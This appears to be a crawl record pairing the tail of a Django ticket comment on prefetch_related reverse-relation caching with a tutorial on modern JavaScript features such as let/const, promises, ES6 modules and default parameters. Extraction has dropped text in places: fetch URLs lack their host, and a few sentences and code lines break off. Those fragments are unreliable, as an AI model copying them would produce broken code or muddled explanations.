tried to get them to pass. The goal was to see if I'd end up with the same patch. I quickly noticed that, given the internal API of prefetch_related, this problem is difficult to fix. prefetch_one_level will assign a single related object or a list of related objects in a cache. Unfortunately, accessing the cache directly bypasses the getters and setters of the relation descriptors. This gives us two options: - emulate the appropriate bits of the setters in get_prefetch_query_set(); - change the API of get_prefetch_query_set()to return a setter function rather than the name of the cache attribute; then the setter could do whatever necessary. The first option is the least invasive, and it led me to the patch I'm going to attach in a few minutes. This patch does three things: - It introduces a new attribute, QuerySet._known_related_object. This is only used to automatically set the reverse relation when creating objects through a related manager. When you're accessing tournament.pool_set.all(), tournament.pool_set.all()._known_related_object == ('tournament', tournament), so each pool objects gets its 'tournament' attribute set to the original tournamentinstance. - It caches the reverse relation in several get_prefetch_query_set()methods, as explained above. This isn't implemented for many-to-many relations since there's no way to be sure that we have all the objects we need to build the reverse relation. - It cleans up a little bit the code of the QuerySetclass. NB: I haven't dealt with GFKs. Patch
https://code.djangoproject.com/ticket/18177
CC-MAIN-2018-30
refinedweb
521
56.15
Over the past few years, there have been many updates to the JavaScript language. And these updates are very useful if you want to improve your coding. Keeping abreast of the newest developments in the language is really important. It can help you get a higher paying job, keep up to date with the latest trends, improve your code quality, and excel in your current job. And you definitely need to know the latest features if you're trying to learn a JavaScript library like React or framework like Angular or Vue. Recently, there have been many useful additions to JavaScript like the Nullish coalescing operator, optional chaining, Promises, async/await, ES6 destructuring, and more. So today, we will look at some of these concepts which every JavaScript developer should be aware of. Let's get started and dive into the things you need to know about JS. Let and const in JavaScript Before ES6, JavaScript used the var keyword which only used function and global scope. There was no block-level scope. With the addition of let and const JavaScript added block scoping. How to use let in JavaScript When we declare a variable using the let keyword, we can assign a new value to that variable later but we cannot re-declare it with the same name. // ES5 Code var value = 10; console.log(value); // 10 var value = "hello"; console.log(value); // hello var value = 30; console.log(value); // 30 As you can see above, we have re-declared the variable value using the var keyword multiple times. Before ES6, we were able to re-declare a variable that had already been declared before if it wasn't used meaningfully and was instead causing confusion. But what if we already had a variable declared with the same name somewhere else and we're re-declaring it without realizing it? Then we might override the variable value, causing some difficult to debug issues. So when you use the let keyword, you will get an error when you try to re-declare the variable with the same name – which is a good thing. // ES6 Code let value = 10; console.log(value); // 10 let value = "hello"; // Uncaught SyntaxError: Identifier 'value' has already been declared But, the following code is valid: // ES6 Code let value = 10; console.log(value); // 10 value = "hello"; console.log(value); // hello this code, when we declare a variable with the var keyword, it's available outside the if block also. Now take a look at the below code: // ES6 Code let isValid = true; if(isValid) { let number = 10; console.log('inside:', number); // inside: 10 } console.log('outside:', number); // Uncaught ReferenceError: number is not defined As you can see, the number variable when declared using the let keyword is only accessible inside the if block. Outside the block it's not available, so we got a reference error when we tried to access it outside the if block. But if there is a number variable outside the if block, then it will work as shown below: // ES6 Code let isValid = true; let number = 20; if(isValid) { let number = 10; console.log('inside:', number); // inside: 10 } console.log('outside:', number); // outside: 20 Here, we have two number variables in a separate scope. So outside the if block, the value of number will be 20. Take a look at the below code: // ES5 Code for(var i = 0; i < 10; i++){ console.log(i); } console.log('outside:', i); // 10 When using the var keyword, i is available even outside the for loop. // ES6 Code for(let i = 0; i < 10; i++){ console.log(i); } console.log('outside:', i); // Uncaught ReferenceError: i is not defined But when using the let keyword, it's not available outside the loop. So as you can see from the above code samples, using let makes the variable available only inside that block and it's not accessible outside the block. We can also create a block by a pair of curly brackets like this: let i = 10; { let i = 20; console.log('inside:', i); // inside: 20 i = 30; console.log('i again:', i); // i again: 30 } console.log('outside:', i); // outside: 10 If you remember, I said we cannot re-declare a let based variable in the same block but we can re-declare it in another block. As you can see in the above code, we have re-declared i and assigned a new value of 20 inside the block. Once declared, that variable value will be available only in that block. Outside the block, when we printed that variable, we got 10 instead of the previously assigned value of 30 because outside the block, the inside i variable does not exist. If we don't have the variable i declared outside, then we'll get an error as you can see in the below code: { let i = 20; console.log('inside:', i); // inside: 20 i = 30; console.log('i again:', i); // i again: 30 } console.log('outside:', i); // Uncaught ReferenceError: i is not defined How to use const in JavaScript The const keyword works exactly the same as the let keyword in its can't even that the const variable is constant whose value will never change – but we have changed the constant array above. So how does that make sense? Note: it. We also we saw previously. The following code of re-defining a const variable is also invalid. const name = "David"; const name = "Raj"; // Uncaught SyntaxError: Identifier 'name' has already been declared let and const wrap up - The keywords letand constadd block scoping in JavaScript. - When we declare a variable as let, we cannot re-defineor re-declareanother let variable with the same name in the same scope (function or block scope) but we can re-assigna value to it. - When we declare a variable as const, we cannot re-defineor re-declareanother constvariable with the same name in the same scope (function or block scope). But we can change the values stored in that variable if the variable is of a reference type like an array or object. Alright, let's move on to the next big topic: promises. Promises in JavaScript Promises are one of the most important yet confusing and difficult to understand part of JavaScript. And most new devs, as well as experienced ones, struggle to understand them. Promises were added in ES6 as a native implementation. So what is a promise? A promise represents an asynchronous operation to be completed in the future. Previously, Before ES6, there was no way to wait for something to perform some operation. For example, when we wanted to make an API call, there was no way to wait until the results came back before ES6. For that, we used to use external libraries like Jquery or Ajax which had their own implementation of promises. But there was no browser implemented promise thing. But now using Promises in ES6, we can make an API call ourselves and wait until it's done to perform some operation. How to create a Promise To create a promise we need to use the Promise constructor function like this: const promise = new Promise(function(resolve, reject) { }); The Promise constructor takes a function as an argument and that function internally receives resolve and reject as parameters. The resolve and reject parameters are actually functions that we can call depending on the outcome of the asynchronous operation. A Promise goes through three states: - Pending - Fulfilled - Rejected When we create a promise, it’s in a pending state. When we call the resolve function, it goes in a fulfilled state and if we call reject it will go in the rejected state. To simulate the long-running or asynchronous operation, we will use the setTimeout function. const promise = new Promise(function(resolve, reject) { setTimeout(function() { const sum = 4 + 5; resolve(sum); }, 2000); }); Here, we've created a promise which will resolve to the sum of 4 and 5 after a 2000ms (2 second) timeout is over. To get the result of the successful promise execution, we need to register a callback using .then like this: const promise = new Promise(function(resolve, reject) { setTimeout(function() { const sum = 4 + 5; resolve(sum); }, 2000); }); promise.then(function(result) { console.log(result); // 9 }); So whenever we call resolve, the promise will return back the value passed to the resolve function which we can collect using the .then handler. If the operation is not successful, then we call the reject function like this: const promise = new Promise(function(resolve, reject) { setTimeout(function() { const sum = 4 + 5 + 'a'; if(isNaN(sum)) { reject('Error while calculating sum.'); } else { resolve(sum); } }, 2000); }); promise.then(function(result) { console.log(result); }); Here, if the sum is not a number, then we call the reject function with the error message. Otherwise we call the resolve function. If you execute the above code, you will see the following output: As you can see, we're getting an uncaught error message along with the message we've specified because calling reject function throws an error. But we have not added an error handler for catching that error. To catch the error, we need to register another callback using .catch like this: promise.then(function(result) { console.log(result); }).catch(function(error) { console.log(error); }); You will see the following output: As you can see, we have added the .catch handler, so we're not getting any uncaught error but we're just logging the error to the console. This also avoids stopping your application abruptly. So it's always recommended to add the .catch handler to every promise so your application will not stop from running because of the error. Promise chaining We can add multiple .then handlers to a single promise like this: promise.then(function(result) { console.log('first .then handler'); return result; }).then(function(result) { console.log('second .then handler'); console.log(result); }).catch(function(error) { console.log(error); }); When we have multiple .then handlers added, the return value of the previous .then handler is automatically passed to the next .then handler. As you can see, adding 4 + 5 resolves a promise and we get that sum in the first .then handler. There we're printing a log statement and returning that sum to the next .then handler. And inside the next .then handler, we're adding a log statement and then we're printing the result we got from the previous .then handler. This way of adding multiple .then handlers is known as promise chaining. How to delay a promise's execution in JavaScript Many times we don't want to create promise immediately but want to create one after some operation is completed. To achieve this, we can wrap the promise in a function and return that promise from that function like this: function createPromise() { return new Promise(function(resolve, reject) { setTimeout(function() { const sum = 4 + 5; if(isNaN(sum)) { reject('Error while calculating sum.'); } else { resolve(sum); } }, 2000); }); } This way, we can use the function parameters inside the promise, making the function truly dynamic. function createPromise(a, b) { return new Promise(function(resolve, reject) { setTimeout(function() { const sum = a + b; if(isNaN(sum)) { reject('Error while calculating sum.'); } else { resolve(sum); } }, 2000); }); } createPromise(1,8) .then(function(output) { console.log(output); // 9 }); // OR createPromise(10,24) .then(function(output) { console.log(output); // 34 }); Note: When we create a promise, it will be either resolved or rejected but not both at the same time. So we cannot add two resolve or reject function calls in the same promise. Also, we can pass only a single value to the resolve or reject function. If you want to pass multiple values to a resolve function, pass it as an object like this: const promise = new Promise(function(resolve, reject) { setTimeout(function() { const sum = 4 + 5; resolve({ a: 4, b: 5, sum }); }, 2000); }); promise.then(function(result) { console.log(result); }).catch(function(error) { console.log(error); }); How to use arrow functions in JavaScript In all the above code examples, we've used regular ES5 function syntax while creating promises. But it's a common practice to use arrow function syntax instead of ES5 function syntax like this: const promise = new Promise((resolve, reject) => { setTimeout(() => { const sum = 4 + 5 + 'a'; if(isNaN(sum)) { reject('Error while calculating sum.'); } else { resolve(sum); } }, 2000); }); promise.then((result) => { console.log(result); }); You can either use ES5 or ES6 function syntax depending on your preferences and needs. ES6 Import And Export Syntax Before ES6 came into play, we used multiple script tags in a single HTML file to import different JavaScript files like this: <script type="text/javascript" src="home.js"></script> <script type="text/javascript" src="profile.js"></script> <script type="text/javascript" src="user.js"></script> So, if we had a variable with the same name in different JavaScript files, it would create a naming conflict and the value you were expecting would not be the actual value you got. ES6 has fixed this issue with the concept of modules. Every JavaScript file we write in ES6 is known as a module. The variables and functions we declare in each file are not available to other files until we specifically export them from that file and import them into another file. So the functions and variables defined in the file are private to each file and can’t be accessed outside the file until we export them. There are two types of exports: - Named Exports: There can be multiple named exports in a single file - Default Exports: There can be only one default export in a single file Named Exports in JavaScript To export a single value as a named export, we export it like this: export const temp = "This is some dummy text"; If we have multiple things to export, we can write an export statement on a separate line instead of in front of variable declaration. We specify the things to export in curly brackets. const temp1 = "This is some dummy text1"; a named export, we use the following syntax: import { temp1, temp2 } from './filename'; Note that while importing something from the file, we don't need to add the .js extension to the filename as it's considered by default. // import from functions.js file from current directory import { temp1, temp2 } from './functions'; // import from functions.js file from parent of current directory import { temp1 } from '../functions'; Here's a Code Sandbox demo: One thing to note is that the name used while exporting has to match the name we use while importing. So if you are exporting as: // constants.js export const PI = 3.14159; then while importing you have to use the same name used while exporting: import { PI } from './constants'; You can't use any other name like this: import { PiValue } from './constants'; // This will throw an error But if you already have the variable with the same name as the exported variable, you can use the renaming syntax while importing like this: import { PI as PIValue } from './constants'; Here we have renamed PI to PIValue and so we can’t use the PI variable name now. Instead, we have to use the'; To export something as a named export, we have to declare it first. export 'hello'; // this will result in error export const greeting = 'hello'; // this will work export { name: 'David' }; // This will result in error export const object = { name: 'David' }; // This will work The order in which we import the multiple named exports is not important. Take a look at the below validations.js file: // utils/validations.js const isValidEmail = function(email) { if (/^[^@ ]+@[^@ ]+\.[^@ \.]{2,}$/.test(email)) { return "email is valid"; } else { return "email is invalid"; } }; const isValidPhone = function(phone) { if (/^[\\(]\d{3}[\\)]\s\d{3}-\d{4}$/.test(phone)) { return "phone number is valid"; } else { return "phone number is invalid"; } }; function isEmpty(value) { if (/^\s*$/.test(value)) { return "string is empty or contains only spaces"; } else { return "string is not empty and does not contain spaces"; } } export { isValidEmail, isValidPhone, isEmpty }; and in index.js we use these functions as shown below: // index.js import { isEmpty, isValidEmail } from "./utils/validations"; console.log("isEmpty:", isEmpty("abcd")); // isEmpty: string is not empty and does not contain spaces console.log("isValidEmail:", isValidEmail("abc@11gmail.com")); // isValidEmail: email is valid console.log("isValidEmail:", isValidEmail("ab@c@11gmail.com")); // isValidEmail: email is invalid Here's a Code Sandbox demo: As you can see, we can import only the required exported things and in any order, so we don’t need to check in what order we exported in another file. That’s the beauty of named exports. Default Exports in JavaScript As I said earlier, there can be at most one default export in a single file. You can, however, combine multiple named exports and one default export in a single file. To declare a default export we add the default keyword in front of the export keyword like this: //constants.js const name = 'David'; export default name; To import the default export we don’t add the curly brackets as we did in named export like this: import name from './constants'; If we have multiple named exports and one default export like this: // constants.js export const PI = 3.14159; export const AGE = 30; const NAME = "David"; export default NAME; then to import everything on a single line we need to use the default exported variable before the curly bracket only. // NAME is default export and PI and AGE are named exports here import NAME, { PI, AGE } from './constants'; One specialty of default export is that we can change the name of the exported variable while importing: // constants.js const AGE = 30; export default AGE; And in another file, we can use another name while importing import myAge from ‘. Here's a Code Sandbox demo: the default export and others as named exports. In another file, you can use it like this: import USER, { PI, AGE, USERNAME } from "./constants"; Here's a Code Sandbox demo: In summary: - In ES6, data declared in one file is not accessible to another file until it is exported from that file and imported into another file. - If we have a single thing in a file to export like class declaration, we use default export otherwise we use named export. We can also combine default and named exports in a single file. Default Parameters in JavaScript ES6 has added a pretty useful feature of providing default parameters while defining functions. Suppose we have an application, where once the user login into the system, we show them a welcome message like this: function showMessage(firstName) { return "Welcome back, " + firstName; } console.log(showMessage('John')); // Welcome back, John But what if we don’t have the user name in our database as it was an optional field while registering? Then we can show the Welcome Guest message to the user after login. So we first need to check if the firstName is provided and then display the corresponding message. Before ES6, we would have had to write code like this: function showMessage(firstName) { if(firstName) { return "Welcome back, " + firstName; } else { return "Welcome back, Guest"; } } console.log(showMessage('John')); // Welcome back, John console.log(showMessage()); // Welcome back, Guest But now in ES6 using default function parameters we can write the above code as shown below: function showMessage(firstName = 'Guest') { return "Welcome back, " + firstName; } console.log(showMessage('John')); // Welcome back, John console.log(showMessage()); // Welcome back, Guest We can assign any value as a default value to the function parameter. function display(a = 10, b = 20, c = b) { console.log(a, b, c); } display(); // 10 20 20 display(40); // 40 20 20 display(1, 70); // 1 70 70 display(1, 30, 70); // 1 30 70 As you can see, we have assigned unique values to a and b function parameters but for c we're assigning the value of b. So whatever value we have provided for b will be assigned to c also if there is no specific value provided for c while calling the function. In the above code, we have not provided all the arguments to the function. So the above function calls will be the same as below: display(); // is same as display(undefined, undefined, undefined) display(40); // is same as display(40, undefined, undefined) display(1, 70); // is same as display(1, 70, undefined) So if the argument passed is undefined, the default value will be used for the corresponding parameter. We can also assign complex or calculated values as a default value. const defaultUser = { name: 'Jane', location: 'NY', job: 'Software Developer' }; const display = (user = defaultUser, age = 60 / 2 ) => { console.log(user, age); }; display(); /* output { name: 'Jane', location: 'NY', job: 'Software Developer' } 30 */ Now, take a look at the below ES5 code: // ES5 Code function getUsers(page, results, gender, nationality) { var params = ""; if(page === 0 || page) { params += `page=${page}&`; } if(results) { params += `results=${results}&`; } if(gender) { params += `gender=${gender}&`; } if(nationality) { params += `nationality=${nationality}`; } fetch('?' + params) .then(function(response) { return response.json(); }) .then(function(result) { console.log(result); }) .catch(function(error) { console.log('error', error); }); } getUsers(0, 10, 'male', 'us'); In this code, we’re making an API call to the Random user API by passing various optional parameters in the getUsers function. So before making the API call, we have added various if conditions to check if the parameter is added or not, and based on that we’re constructing the query string like this:? page=0&results=10&gender=male&nationality=us. But instead of adding so many if conditions, we can use the default parameters while defining the function parameters as shown below: function getUsers(page = 0, results = 10, gender = 'male',nationality = 'us') { fetch(`{page}&results=${results}&gender=${gender}&nationality=${nationality}`) .then(function(response) { return response.json(); }) .then(function(result) { console.log(result); }) .catch(function(error) { console.log('error', error); }); } getUsers(); As you can see, we have simplified the code a lot. So when we don’t provide any argument to the getUsers function, it will take default values and we can also provide our own values like this: getUsers(1, 20, 'female', 'gb'); So it will override the default parameters of the function. null is not equal to undefined But you need to be aware of one thing: null and undefined are two different things while defining default parameters. Take a look at the below code: function display(name = 'David', age = 35, location = 'NY'){ console.log(name, age, location); } display('David', 35); // David 35 NY display('David', 35, undefined); // David 35 NY As we have not provided the third value for the location parameter in the first call to display, it will be undefined by default so the default value of location will be used in both of the function calls. But the below function calls are not equal. display('David', 35, undefined); // David 35 NY display('David', 35, null); // David 35 null When we pass null as an argument, we’re specifically saying to assign a null value to the location parameter which is not the same as undefined. So it will not take the default value of NY. Array.prototype.includes ES7 has added a new function that checks if an element is present in the array or not and returns a boolean value of either true or false. // ES5 Code const numbers = ["one", "two", "three", "four"]; console.log(numbers.indexOf("one") > -1); // true console.log(numbers.indexOf("five") > -1); // false The same code using the Array includes method can be written as shown below: // ES7 Code const numbers = ["one", "two", "three", "four"]; console.log(numbers.includes("one")); // true console.log(numbers.includes("five")); // false So using the Array includes methods makes code short and easy to understand. The includes method also comes in handy when comparing with different values. Take a look at the below code: const day = "monday"; if(day === "monday" || day === "tuesday" || day === "wednesday") { // do something } The above code using the includes method can be simplified as shown below: const day = "monday"; if(["monday", "tuesday", "wednesday"].includes(day)) { // do something } So the includes method is pretty handy when checking for values in an array. Closing points There are many changes that have been incorporated into JavaScript starting from ES6. And every JavaScript, Angular, React, or Vue developer should be aware of them. Knowing them makes you a better developer and can even help you get a higher paying job. And if you're just learning libraries like React and frameworks like Angular and Vue, you'll certainly want to be familiar with these new features. Learn more about Modern JavaScript features You can learn everything about the latest features added in JavaScript in my Mastering Modern JavaScript book. It is the only guide you need to learn modern JavaScript concepts. Subscribe to my weekly newsletter to join 1000+ other subscribers to get amazing tips, tricks, and articles directly in your inbox.
https://www.freecodecamp.org/news/learn-modern-javascript/
CC-MAIN-2022-05
refinedweb
4,157
53.61
Our Benefits Tig machines use both ac and dc current, with the ac used for non-ferrous metals like aluminum or most of the tig machines have a special circuit inside that produces a high. It cool in hot welding environments, and our standard circuit and gouging (pac) with optional spectrum models, dc tig (gtaw), flux cored (fcaw), mig (gmaw), non-critical ac tig. Four-position polarity and range selector switch offers two ac current ranges, dc electrode (-) for tig, and consumables and the welding torch is enhanced by our post flow circuit. Ac or dc hf tig welding do not touch electrode while in contact with the work (ground) circuit. The power source circuit the hf current is operating continuously when the arc is burning in the ac-tig square wave ac, with a heavy bias towards dc from that used in ac-tig. Cutting torch, portable carry oven, tig open circuit voltage v v v v max continuous designed the machine to provide a dc welding current where phase & phases, hz ac main. The received power is provided to a rectifier to convert the ac power to dc in lift-arc tig, the open-circuit voltage is further reduced, preferably, to. Matrix ac-dc tig inverter welding equipment powerful, compact and lightweight matrix vrd device reduces the open circuit voltage to values below v, by enabling the use. Homemade tig dc to ac inverter ==> prototype up here you see my a regulated current limited dc power supply was used for testing; no snubber circuit yet. Tig welder dc to ac inverter schematics up here you will find several schematics schematic of the timing circuit. Tig welder amp (home built) will give full control of the weld current be it ac or dc i have recently replaced the arc start circuit after. Open circuit voltage (v) v: v: v: v: stick rod diameter (mm) -40: - suitable for standard dc tig, ac tig, pulsed tig and mma (stick) welding. Highly effective -circuit cooling system small torch neck very high welding speed, much higher than with msg- or tig please note all torches may be operated with dc or ac voltage. Digitally controlled ac-dc power supply using a single control generates superior performance in wide range tig assessment and dynamic analysis of electronic circuit board. Tig must be operated with a drooping, constant current power source - either dc or ac by scratching the surface, forming a short-circuit.. tig circuit ac dc circuit Who We Are import export data england :: short spring sayings :: whack the students game :: tig circuit ac dc circuit ::
http://djiler.i8it.net/crysis-w23/wowhero.html
crawl-003
refinedweb
432
53.14
:. On success, zero is returned. On error, -1 is returned, and errno is set appropriately. EINVAL The group ID specified in gid is not valid in this user namespace. EPERM The calling process is not privileged (does not have the CAP_SETGID capability in its user namespace), and gid does not match the real group ID or saved set-group-ID of the calling process. POSIX.1-2001, POSIX.1-2008, SVr4. The original Linux setgid() system call supported only 16-bit group IDs. Subsequently, Linux 2.4 added setgid32() supporting 32-bit IDs. The glibc setgid() wrapper function transparently deals with the variation). getgid(2), setegid(2), setregid(2), capabilities(7), credentials(7), user_namespaces(7) This page is part of release 5.08 of the Linux man-pages project. A description of the project, information about reporting bugs, and the latest version of this page, can be found at. Linux 2019-03-06 SETGID(2) Pages that refer to this page: syscalls(2)
https://man7.org/linux/man-pages/man2/setgid32.2.html
CC-MAIN-2020-40
refinedweb
163
59.5
# Extending and moving a ZooKeeper ensemble Once upon a time our DBA team had a task. We had to move a ZooKeeper ensemble which we had been using for [Clickhouse](https://clickhouse.com/) cluster. Everyone is used to moving an ensemble by moving its data files. It seems easy and obvious but our Clickhouse cluster had more than 400 TB replicated data. All replication information had been collected in ZooKeeper cluster from the very beginning. At the end of the day we couldn’t miss even a row of data. Then we looked for information on the internet. Unfortunately there was a good [tutorial](https://gist.github.com/miketheman/6057930) about 3.4.5 and didn’t fit our version 3.6.2. So we decided to use “the extending” for moving our ensemble. Work Plan ----------     Here we have a ZooKeeper ensemble consisting of 3 instances running on 3 independent servers. Also we had given 3 new servers where we had to move the ensemble in. Additionally we found another 1 temporary server for our quorum. Why? Because a Clickhouse cluster with ReplicatedMergeTree tables provides writing only with a ZooKeeper ensemble quorum else we can only have a reading. For better understanding here is the scheme  3 (id: 1, 2, 3) +1 (id: 4) + 3 (id: 5, 6, 7)     The genuine ensemble is located in 3 servers (id: 1, 2, 3). We added 1 temporary server (id: 4) and new servers (id: 5, 6, 7). When the ensemble is synchronised we are ready to remove unnecessary instances (id: 1, 2, 3, 4). Finally we had an ensemble with quorum which is running on new servers (id: 5, 6, 7) Extending the genuine ensemble ------------------------------     In the official [documentation](https://zookeeper.apache.org/doc/r3.5.3-beta/zookeeperReconfig.html) you can find information about an ensemble extending. However it’s not a tutorial. The genuine ensemble runs on 3 independent servers with CentOS 7 ``` server.1=zk-1:2888:3888 server.2=zk-2:2888:3888 server.3=zk-3:2888:3888 ``` Check your configuration file and if `reconfigEnabled=true` is absent you must add it. Also you will face environment issues leading to dynamic reconfiguration problems.  The solution is to add  ``` Dzookeeper.skipACL=yes export SERVER_JVMFLAGS="$SERVER_JVMFLAGS -Dzookeeper.skipACL=yes" ``` inside the *$ZK\_HOME/bin/zkEnv.sh* file. Now you are ready to restart the ensemble. Make sure you stop a Clickhouse cluster first. It’s time to prepare new servers: 1. Upload the apache-zookeeper tarball to new servers (in our case apache-zookeeper-3.6.2-bin.tar.gz); 2. Create OS user for zookeeper and extract tarball in home directory of zookeeper; 3. Create a directory for zookeeper data files and a myid file which is an indicator for instance. For example we already have 3 instances in the genuine ensemble (server.1=zk-1:2888:3888 server.2=zk-2:2888:3888 server.3=zk-3:2888:3888.) myid files of new instances will contain numbers 4, 5, 6, 7; 4. Add rules in firewall (ports: 2888, 3888, 2181, 7000); 5. Create a service file     When everything is ready run *$ZK\_HOME/bin/zkCli.sh* and enter  ``` reconfig -add server.4=zk-4:2888:3888:participant;2181 ```     If you find *zoo.conf.dynamic.100000000* in *$ZK\_HOME/conf* directory on all 3 servers you will be on the right path. Then you can start zookeeper server on the 4th server and *zoo.conf.dynamic.100000000* must appear in *$ZK\_HOME/conf*  as well. After each other reconfig the number after *zoo.conf.dynamic (100000000)* will change. Repeat this step for instances 5, 6, 7. At the end the ensemble must contain all 7 instances synchronised. Removing unnecessary instances from the ensemble ------------------------------------------------       Removing can be done with the well known *$ZK\_HOME/bin/zkCli.sh*. Just execute  ``` reconfig -remove 1 reconfig -remove 2 reconfig -remove 3 reconfig -remove 4 ```     After removing stop/disable zookeeper services on servers 1, 2, 3, 4 and check *$ZK\_HOME/ /conf/zoo.conf.dynamic.XXXXXXX*. They must be the same. Summary --------        At the end of the day we moved the ensemble from servers zk-1, zk-2, zk-3 to zk-5, zk-6, zk-7. Additionally we recommend to add  ``` metricsProvider.className=org.apache.zookeeper.metrics.prometheus.PrometheusMetricsProvider ``` in *zoo.conf* and open the 7000 port of the firewall. This is a metrics exporter for Prometheus.
https://habr.com/ru/post/586490/
null
null
735
60.01
IntroductionIn this article we will see how to call a WCF service without adding a service reference. In this article we will see two ways of calling WCF service method. One is to call the WCF service method on the fly and second is by creating a custom proxy without the help of SvcUtil or any other tool. We will be using a two way service in this article. BackgroundThis article will be a continuation of [Article][Beginner] Creating WCF Service and Self Hosting in a console application and Creating Proxy of net.tcp and net.pipe endpoint via Visual Studio. Here we will see how to call a WCF service method without adding WCF service reference in the client project. Here we will be using the same WCF service project from the previous article but with some modification. Here we will add a common library project to which we will add all WCF service interfaces. Now this common project will be referred from client as well. Here you may feel like it’s not the proper way, but this kind of approach is necessary when service and client both are a part of a single application. Such situations arise when you are designing service oriented architecture. In service oriented architecture, your services will be business functionalities that are built as software components that can be reused for different purposes. We will use WCF to create services which will implement business functionality. Here in the first section we will see how to consume WCF service without adding service reference or by creating proxy via some tools. We will use ChannelFactory to achieve this. And in the second part we will see how to create a custom WCF proxy and to call the WCF service methods. The second part of this article comes in handy when you don’t have to update service reference each time you add some methods on to the service implementation. We will create WCF proxy directly by using the WCF service interface. Problem it addressesWhen we use WCF to create service oriented architecture, we cannot always add service reference. We need a mechanism to call the service methods without adding service reference to WCF service. Here in this article we will see how to call a two way WCF service method by creating proxy on the fly using ChannelFactory and later we will see how to call a two way WCF service method by using custom proxy and callback. Table of contents - How to call a two way service method by creating proxy on the fly using ChannelFactory. - How to call a two way service method by using custom proxy. RequirementsIf you don’t know to create WCF service, then you need to have a look at this article [Article][Beginner] Creating WCF Service and Self Hosting in a console application and Creating Proxy of net.tcp and net.pipe endpoint via Visual Studio. Using the codeAs this article is a continuation of the article [Article][Beginner] Creating WCF Service and Self Hosting in a console application and Creating Proxy of net.tcp and net.pipe endpoint via Visual Studio, you can continue using the service code which is available as an attachment in that article (You can find it at the end of the article). We will be doing some refactoring to the project which is used in that article but bulk of the code remains the same. Re-factoring required to the project. Now in the project, WCF interface and the implementing class remains in the same project. We are going to move the service interface to another project and will make the interface public. Though WCF, when added service contract attribute, will make the interface public, we will mandate that interface is public because we will be referring to this interface from projects which won’t implement this interface as service but considers this as a simple interface. Now create a class library project to the solution and name it as “ServiceFramework”. Now move the “IService” interface to this library project and make it public. Now to the “WcfService” project, add reference to the newly added project. Also add a reference to the “ServiceFramework” project from “WcfServiceHost”. Though we are using the service class name to create service host, WCF internally will try to refer to the interface which is been implemented by WCF service class. Client application. Create one Windows/WPF application with three textboxes and two buttons. One buttons is to calculate Sum and other to calculate total. Two textbox will accept your input and one will display the result from WCF service. Now after you have created the application, it will look like the image below. Now to the client project, add reference to “ServiceFramework” project. This is because we need to have a reference to IService interface to call service methods. With this, basic settings for your client application are ready now we will see how to call the service methods. 1. How to call a two way service method by creating proxy at runtime / on the fly using ChannelFactory.Here we will use ChannelFactory to create a channel with which we can call the service methods. Let’s see how to do this. On to the button click action of the sum, add the code below. Binding binding = new NetTcpBinding(); String remoteAdress = "net.tcp://localhost:7550/IService"; ChannelFactory<IService> channelFactory = new ChannelFactory<IService>(binding, remoteAdress); IService serviceChannel = channelFactory.CreateChannel(); int result = serviceChannel.sum(Convert.ToInt32(textBox1.Text), Convert.ToInt32(textBox1.Text)); textBox3.Text = result.ToString(); Now run the application and find this working. But before you need the servicehost running. Go to the bin folder of WcfServiceHost project and find the .exe double click on it and run it. Keep that executable running and come back to visual studio and run your client application. NOTE : You need your service running before you run your client. 2. How to call a two way service method by using custom proxy.Creating a custom proxy is simple. Just inherit it from ClientBase<TChannel> provided by System.ServiceModel. Here ClientBase Provides the base implementation used to create client object that can call services. And TChannel is the WCF interface. Create a class file into your client project and name it as ServiceProxy. Inherit it from ClientBase and WCF service interface. This class will act as the proxy for our WCF service. class ServiceProxy : ClientBase<IService>, IService { } Now implement the class as shown below. using System.ServiceModel; using WcfService; using System.ServiceModel.Channels; namespace WcfClient { class ServiceProxy : ClientBase<IService>, IService { public ServiceProxy(string endpointConfigurationName) : base(endpointConfigurationName) { } public ServiceProxy(string endpointConfigurationName, string remoteAddress) : base(endpointConfigurationName, remoteAddress) { } public ServiceProxy(string endpointConfigurationName, EndpointAddress remoteAddress) : base(endpointConfigurationName, remoteAddress) { } public ServiceProxy(Binding binding, EndpointAddress remoteAddress) : base(binding, remoteAddress) { } public int sum(int param1, int param2) { return Channel.sum(param1, param2); } public int Total(int param1, int param2) { return Channel.Total(param1, param2); } } } Now let’s see how to call our proxy to call the service method. Now on to your button click action for your “total” button, add this code. EndpointAddress endpointAddress = new EndpointAddress("net.tcp://localhost:7550/IService"); ServiceProxy proxy = new ServiceProxy(new NetTcpBinding(),endpointAddress); int result = proxy.Total(Convert.ToInt32(textBox1.Text), Convert.ToInt32(textBox2.Text)); textBox3.Text = result.ToString(); Now run your application and find it working. You need to have your service running before running your client application. Run the serviceHost application separately from visual studio. Once it is running, come back to visual studio and run your client application..
http://gonetdotnet.blogspot.com/2015/09/article-consuming-self-hosted-wcf.html
CC-MAIN-2018-43
refinedweb
1,256
56.66
#include <ShoreApp.h> shrc Ref<T>::valid(LockMode lm = SH) const; The valid method indicates whether the given ref can be followed safely. In this context, "safe" means that there is an object at the other end of the ref, and that the object can be locked in the indicated lock mode. This method will obtain the lock, but will not fetch the object into the object cache. The fetch method can be used for this purpose. A return code of RCOK indicates that the lock was successfully obtained, and that the ref is therefore valid. Any other error code indicates either that the ref is not valid, or that the lock could not be obtained (perhaps due to insufficient permission on the part of the process). Because this method obtains a lock on the object, it may be forced to wait, if another transaction holds a conflicting lock on the object. It is legal, and potentially useful, to pass a lock mode of NL (no lock) to valid. However, if no lock is obtained, then nothing prevents another transaction from destroying the referenced object, thereby invalidating the ref, before the end of the current transaction.
http://www.cs.wisc.edu/shore/1.0/man/valid.cxxlb.html
crawl-001
refinedweb
196
66.78
